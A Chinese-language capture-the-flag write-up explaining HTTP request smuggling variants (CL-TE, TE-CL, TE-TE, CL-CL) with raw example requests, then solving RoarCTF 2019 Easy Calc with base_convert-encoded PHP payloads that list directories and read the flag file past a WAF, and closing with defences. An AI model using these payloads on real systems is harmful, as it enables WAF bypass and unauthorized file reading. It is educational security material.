通過一道CTF學習HTTP協議請求走私
HTTP請求走私
HTTP請求走私是針對于服務端處理一個或者多個接收http請求序列的方式，進行繞過安全機制，實施未授權訪問一種攻擊手段，獲取敏感信息，并直接危害其他用戶。
請求走私大多發生于前端服務器和后端服務器對客戶端傳入的數據理解不一致的情況。這是因為HTTP規范提供了兩種不同的方法來指定請求的結束位置，即 Content-Length 和 Transfer-Encoding標頭。
分類
- CLTE：前端服務器使用
Content-Length頭，后端服務器使用Transfer-Encoding頭 - TECL：前端服務器使用
Transfer-Encoding標頭，后端服務器使用Content-Length標頭。 - TETE：前端和后端服務器都支持
Transfer-Encoding標頭，但是可以通過以某種方式來誘導其中一個服務器不處理它。
5種攻擊方法
1.CL不為0的GET請求
當前端服務器允許GET請求攜帶請求體，而后端服務器不允許GET請求攜帶請求體，它會直接忽略掉GET請求中的 Content-Length 頭，不進行處理。例如下面這個例子：
GET / HTTP/1.1\rHost: example.com\rContent-Length: 44\r GET /secret HTTP/1.1\rHost: example.com\r\r 前端服務器處理了 Content-Length ，而后端服務器沒有處理 Content-Length ，基于pipeline機制認為這是兩個獨立的請求，就造成了漏洞的發生。
2.CL-CL
根據RFC 7230，當服務器收到的請求中包含兩個 Content-Length ，而且兩者的值不同時，需要返回400錯誤，但是有的服務器并沒有嚴格實現這個規范。這種情況下，當前后端各取不同的 Content-Length 值時，就會出現漏洞。例如：
POST / HTTP/1.1\rHost: example.com\rContent-Length: 8\rContent-Length: 7\r 12345\ra 這個例子中a就會被帶入下一個請求，變為 aGET / HTTP/1.1\r 。
3.CL-TE
RFC2616規范 //如果收到同時存在Content-Length和Transfer-Encoding這兩個請求頭的請求包時，在處理的時候必須忽略Content-Length。 //所以請求包中同時包含這兩個請求頭并不算違規，服務器也不需要返回400錯誤。導致服務器在這里的實現更容易出問題。
CL-TE指前端服務器處理 Content-Length 這一請求頭，而后端服務器遵守RFC2616的規定，忽略掉 Content-Length ，處理 Transfer-Encoding 。例如：
POST / HTTP/1.1\rHost: example.com\r...Connection: keep-alive\rContent-Length: 6\rTransfer-Encoding: chunked\r\r0\r\ra 這個例子中a同樣會被帶入下一個請求，變為 aGET / HTTP/1.1\r
4.TE-CL
TE-CL指前端服務器處理 Transfer-Encoding 請求頭，而后端服務器處理 Content-Length 請求頭。例如：
POST / HTTP/1.1\rHost: example.com\r...Content-Length: 4\rTransfer-Encoding: chunked\r\r12\raPOST / HTTP/1.1\r\r0\r\r
5.TE-TE
TE-TE指前后端服務器都處理 Transfer-Encoding 請求頭，但是在容錯性上表現不同，例如有的服務器可能會處理 Transfer-encoding ，測試例如：
POST / HTTP/1.1\rHost: example.com\r...Content-length: 4\rTransfer-Encoding: chunked\rTransfer-encoding: cow\r\r5c\raPOST / HTTP/1.1\rContent-Type: application/x-www-form-urlencoded\rContent-Length: 15\r\rx=1\r0\r\r
[RoarCTF 2019]Easy Calc
CL-CL
HTTP走私繞過WAF
http協議走私基礎:https://www.cnblogs.com/xhds/p/12339994.html
CL-CL
兩個CL直接導致前端轉發的服務器400，而且完整轉發了post包給后端。
CL-TE
CL和TE直接導致前端轉發的服務器400，而且完整轉發了post包給后端。
構造payload獲得Flag
使用scandir()函數、readfile()函數、base_convert()函數、dechex() 函數、hex2bin() 函數（chr()函數）
36進制scandir->10進制61693386291
36進制readfile->10進制2146934604002
ascii碼/->16進制2f->10進制47
36進制f1agg->10進制25254448(讀取根目錄得到的)
var_dump(base_convert(61693386291,10,36)(chr(47)))
讀取flag
var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))
防御
- 1、將前端服務器配置為只使用HTTP/2與后端系統通信
- 2、完全禁用后端連接重用來解決此漏洞的所有變體
- 3、確保連接中的所有服務器運行具有相同配置的相同web服務器軟件。
- 4、徹底拒絕模糊的請求，并刪除關聯的連接。
- 5、在Burp Suite中，你可以使用Repeater菜單禁用此行為，確保你選擇的工具具有相同的功能。
- 6、通過Squid之類的代理來測試他們的測試人員的流量以進行監控。破壞測試人員發起的任何走私攻擊請求，確保對此漏洞做到全面杜絕。
